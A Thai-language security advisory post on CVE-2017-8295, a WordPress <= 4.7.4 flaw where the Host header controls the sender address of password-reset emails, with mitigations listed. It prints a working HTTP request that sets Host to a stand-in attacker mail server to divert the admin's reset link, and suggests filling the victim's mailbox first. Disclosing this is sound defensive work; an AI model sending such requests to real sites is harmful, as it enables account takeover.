ช่องโหว่ Unauthorized Password Reset ใน WordPress <= 4.7.4
ยังคงวนเวียนกับช่องโหว่ของ WordPress โดยก่อนหน้านี้ได้เคยพูดถึงช่องโหว่ RCE ใน WordPress 4.6 มาคราวนี้ก็ยังเจอในส่วนเดิมคือการจัดการ SERVER_NAME ที่ไม่ดีพอของ WordPress แต่คราวนี้เป็น WordPress ตัวใหม่สุดคือ 4.7.4 และช่องโหว่ดังกล่าวยังไม่มี patch ออกมาแก้ไขอีกด้วย
ผู้ที่ค้นพบช่องโหว่นี้คือ Dawid Golunski ได้รับ CVE เป็น CVE-2017-8295 โดย Dawid พบว่าการ reset password ของ WordPress มีการนำค่าของ SERVER_NAME (ซึ่งสามารถกำหนดได้ผ่าน HOST Header ใน HTTP Request) ไปเป็นค่า From/Return-Path header ของการเมล์ตอบกลับไป reset password หรือก็คือหาก Attacker กำหนด Host เป็น attackers-mxserver.com ทำให้กลายเป็น from header จะเขียนเป็น wordpress@attackers-mxserver.com ทำให้มีความเสี่ยงถ้าทำให้ email server ปลายทาง auto-reply ได้(ซึ่งก็แล้วแต่ mail server ว่าจะ auto reply มั้ย) แทนที่จะยิงเมล์ failed นั้นกลับไปหา WordPress Server ก็จะกลายเป็นยิงไปหา Mail Server ของ Hacker(attackers-mxserver.com) แทนนั่นเอง (โดยปกติ auto-reply จะมีการแนบไฟล์ mail ที่ failure ส่งตอบกลับมาด้วย)
ซึ่งการที่จะให้ client รับ failed ได้มีความเป็นไปได้ที่จะเกิดจาก Client mail box เต็ม หรือการโจมตีไปยัง DNS Server (โดยทาง Dawid บอกว่าก่อนจะทำการโจมตีนี้อาจจะทำการส่ง file ขนาดใหญ่ให้กับ client จำนวนมาก เพื่อให้ mail box เต็ม จากนั้นค่อยทำการ attack request ไปยัง WordPress อีกที)
1 2 3 4 5 6 |
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: injected-attackers-mxserver.com Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password |
ระบบที่ได้รับผลกระทบ: WordPress <= 4.7.4
ผลกระทบ: Potential Unauthorized Password Reset (Medium Severity)
วิธีการแก้ไข: ปิดการ reset password ของเว็บไซด์ชั่วคราว หรือการกำหนดให้ Domain Name ของ HOST Header ที่เรียกเข้ามาเป็นแค่ domain name ของเว็บไซด์เท่านั้น หรือรอจนกว่าจะมีการออก version update ออกมา
Source:: Exploit.io